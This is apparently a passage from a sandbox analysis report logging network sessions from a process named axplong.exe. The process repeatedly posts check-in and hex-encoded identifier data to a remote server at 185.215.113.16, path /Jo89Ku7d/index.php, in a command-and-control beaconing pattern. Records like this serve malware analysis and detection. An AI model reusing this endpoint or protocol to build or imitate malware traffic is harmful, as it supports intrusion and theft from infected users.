Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49737	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:26.950670004 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:27.655886889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:27.656985044 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:27.884485006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49738	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:28.005095959 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:28.704338074 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:28.705328941 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:28.934207916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49739	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:29.051609039 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:29.742435932 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:29.743969917 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:29.966423035 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49740	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:30.087316036 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:30.805708885 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:30.806677103 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:31.033938885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49741	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:31.158881903 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:31.916627884 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:31.917421103 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:32.142868996 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49742	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:32.276937962 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:33.058480024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:33.133263111 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:33.360743046 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49743	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:33.472965956 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:34.193696976 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:34.194587946 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:34.425995111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49744	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:34.535216093 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:35.245439053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:35.246337891 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:35.472883940 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49745	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:35.685709000 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:36.393150091 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:36.394294024 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:36.619484901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49746	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:36.738960981 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:37.460983038 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:37.462140083 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:37.690064907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49747	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:37.801395893 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:38.538413048 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:38.558715105 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:38.848027945 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49748	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:38.959101915 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:39.687793016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 21:33:39.688668966 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Sep 26, 2024 21:33:39.925159931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49749	185.215.113.16	80	4024	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 21:33:40.209466934 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 21:33:40.972784996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 19:33:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
